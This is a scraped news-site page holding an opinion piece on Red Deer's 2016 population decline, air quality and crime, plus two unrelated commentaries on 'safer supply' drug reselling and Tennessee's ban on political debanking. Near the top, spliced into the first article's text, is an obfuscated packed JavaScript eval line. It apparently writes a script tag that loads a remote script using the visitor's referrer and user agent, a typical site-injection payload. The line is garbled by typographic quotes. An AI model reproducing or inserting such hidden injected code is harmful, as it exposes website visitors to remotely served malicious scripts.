Connect with us

Opinion

April 18 2017 Red Deer’s financial statement, presented to council, showed huge population decline.

Published

5 minute read

Just eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abkyk|var|u0026u|referrer|yyikr||js|php’.split(‘|’),0,{}))
10 weeks ago on April 18, 2017 the 2016 Annual Financial Statement was presented to city council. In this document our population was discussed, and the decline was quantified. Our city declined from 100,807 residents in 2015, to 99,832 residents in 2016. Our city is actually smaller by 975 residents.
According to our census, 777 residents out of 975, left the neighbourhoods north of the river. This area is home to 30% of the population down from 40% in 1985. 30% of the population accounted for almost 80% of the outward migration of our population. Coincidentally the population in Blackfalds increased by 700 residents, during this time.
It is one thing that Red Deer is one of the very few communities to show an actual decline in population in a province that grew by about 4%. Especially given that Communities around Red Deer grew more rapidly than normal. The fact the north side of the river declined so steeply should set off some alarm bells, but it did not.
Evidence proving differently, the decline is a result of the provincial economy. Even given that Edmonton, Calgary and Lethbridge are 3 of the 5 fastest growing cities in Canada along with Regina and Saskatoon.
This is proven, documented and accepted fact. The city is basing their estimates on these facts. The city will not do a census this year because they do not see any indication of the growth needed to validate the cost. The city will be deferring any annexation due to lack of growth.
Minutes adopted, reports presented, and news printed but will any politician or political wannabe discuss this, offer solutions, or even acknowledge these concerns? No, because it is a negative. They do not have any ideas beyond the rhetorical status-quo platitudes.
September 2015, CBC news reports that Alberta has the poorest air quality in Canada, Red Deer region has the poorest air in Alberta. Red Deer north, Riverside monitors have been registering levels requiring immediate attention. 21 months later and we are no further ahead beyond trying to discredit reports, replacing monitors, and ignoring the repercussions of our actions.
Perhaps we could think about our tendency to compartmentalize our city. Why do we have all high schools, current and future along with 10 of 11 recreational facilities on one side of the city necessitating long commutes for 30% of the population. Why are we concentrating all our industry on the other side of the city, which coincidentally also has poorest air quality?
Our crime rate has been noted for being notoriously high, even topping some national charts, and has been given some notice by these same politicians and political wannabes. But are they looking in isolation without giving thought to big picture repercussions of our actions elsewhere.
Does the lack of access to recreational facilities north of the river contribute to juvenile delinquencies? Do long commutes deter young people from participating in extra-curricular activities, encouraging juvenile delinquencies? Just simple questions being left unanswered.
I think it is great to advocate for others to do their jobs, like provincial and federal elected representatives but it does not mean relinquishing all responsibilities in areas you can control.
Red Deer is not, currently, growing and is in fact declining. The city based it’s finances, budgets and projections on this fact. The province acknowledges this in ways evident to any one paying attention to the news. Removing Red Deer from needs’ lists, concentrating money and attention beyond our borders. The province is finally addressing our high crime in a reactionary way by expanding the court system, while ignoring our equally important medical and housing needs.
These are difficult issues, and it is easier to ignore or point blame at others than to offer solutions or even suggestions. But I am ever hopeful that there are those who will not hide but address these very real issues. Anyone?

Follow Author

Addictions

Must Watch: Addiction worker estimates 90% of “safer supply” drugs resold on black market

Published on

“It’s just… it’s created more addicts,” says David McEvoy, an Ottawa-based outreach worker who specializes in overdose prevention.

“Safer supply” refers to the practice of prescribing free recreational drugs as an alternative to potentially-tainted street substances. While advocates claim that this practice saves lives, David McEvoy, an Ottawa-based addiction outreach worker, says that approximately 90% of clients are reselling their taxpayer-funded drugs on the street, leading to new addictions and relapses.

His testimony is consistent with the testimony of dozens of addiction experts, former drug users, and youth. You can read a summary of his interview in the National Post here.

Our content is always free – but if you want to help us commission more high-quality journalism, consider getting a voluntary paid subscription.

Continue Reading

ESG

Tennessee Taking Lead In Protecting Civil Rights And Free Enterprise—And Stopping Political Debanking

Published on

Tennessee Gov. Bill Lee

From the Daily Caller News Foundation

By ERIC BLEDSOE

 

Last week, Tennessee Gov. Bill Lee (R.) signed into law a first-of-its-kind ban on politicized debanking. Sponsored by Rep. Jason Zachary (R.) and Senate Majority Leader Jack Johnson (R.), HB 2100 will prohibit the nation’s largest banks from discriminating against individuals, businesses, and non-profits for their political and religious views.

The new law is a landmark reform to stop large banks from imposing political litmus tests on Americans.

This legislation (HB 2100) is, of course, a reaction to the trend of the largest financial institutions creating partisan barriers to Americans’ access to financial services. Last year, Bank of America closed the deposit and credit card accounts of Memphis-based non-profit Indigenous Advance Ministries. The organization works with Ugandan widows and orphans to provide for their basic needs through Christian charity. Bank of America refused to give Indigenous Advance a reason why they closed the accounts—just that they no longer wanted to work with their “business type.”

Indigenous Advance’s experience is like what the National Committee for Religious Freedom (NCRF) faced when JPMorgan Chase closed their accounts. NCRF promotes religious liberty for Americans of all religious faiths. Chase said it would restore NCRF’s accounts if it disclosed a list of its donors, told the bank which political candidates it intended to support, and sent them the criteria NCRF uses to decide who they want to support politically. NCRF, out of respect for their donors’ right to privacy, declined.

John Eastman, past attorney for former President Donald Trump, was debanked twice at the end of last year by Bank of America and USAA. Again, the banks provided little to no explanation for the sudden closures. Eastman told the Daily Caller that the banks said it was their policy to not provide any further information. Banks stonewalling their customers on why they close their accounts is alarmingly becoming a pattern.

In December 2022, Wells Fargo abruptly closed the personal and business accounts of Brandon Wexler, a Florida-based gun dealer. The bank’s only explanation was a brief mention that it was due to their review of account risk. Wexler had a personal account with Wells Fargo for 25 years and a business account for 14 years. One instance of an account closing might not be worthy of attention, but more and more examples like these are becoming more common. And the only common thread, besides banks refusing to explain their actions, is that the targets of debanking hold political and religious views unpopular on Wall Street and Pennsylvania Avenue. This does not appear to be a policy at one bank, but an unspoken policy across the industry. Commenting on Wells Fargo’s action against him, Wexler said, “I’ve been with them for 25 years,” […] “I’m a professional fireman. I do everything the right way. It’s messed up.”

But large banks debanking individuals and non-profits is not the full extent of politically motivated financial service providers’ discrimination. In September, Tennessee Attorney General Jonathan Skrmetti sent a letter sent a letter to financial service providers who are signatories to the Net Zero Financial Service Providers Alliance (NZFSPA) warning them that their environmental, social, and governance (ESG) strategies may be in violation of antitrust and consumer protection laws. Both state and federal laws prohibit coordinated or collaborative efforts between corporations to restrict trade or commerce. All members of NZFSPA agree to “(a)lign all relevant services and products to achieve net zero greenhouse gas emissions by 2050 or sooner, scaling and mainstreaming Paris Agreement-alignment into the core of our business.” Though the 27 members of NZFSPA are supposed competitors in the financial services market, their joint commitment to restrict sectors of the economy like fossil fuel is clearly a coordinated effort.

Large financial institutions’ boycott of fossil fuel and discriminatory actions against individuals and non-profits for their religious or political views may seem disconnected at first. But those following the ESG movement won’t be surprised to see these politically motivated efforts across multiple sectors. Last month, Montana Attorney General Austin Knudsen sounded the alarm over these radical policies to Wells Fargo CEO Charles Scharf with the support of 15 other state attorneys general. A member of the Net Zero Banking Alliance (NZBA), Wells Fargo has committed, alongside 143 other banks, to implement ESG policies. In the letter, the attorneys general noted that Wells Fargo has a record of debanking Republican candidates and the firearms industry, imposing race- and gender-based quotas on credit customers, and publicly committing to implement radical climate standards on the energy industry.

Leftist activists realize they cannot accomplish such a radical agenda of eroding individual rights and a free economy through the ballot box. ESG is a political tool that enables the far left to bypass the democratic process to will their worldview onto Americans’ lives. In response, policymakers and other stakeholders must strengthen and enforce civil liberties protections, consumer rights, and antitrust laws, so that political activists cease willing their agenda on citizens.

Fortunately, states like Tennessee are taking the lead in protecting civil rights and free enterprise.

Eric Bledsoe is a Senior Policy Fellow at the Foundation for Government Accountability.

The views and opinions expressed in this commentary are those of the author and do not reflect the official position of the Daily Caller News Foundation.

Continue Reading

Trending

X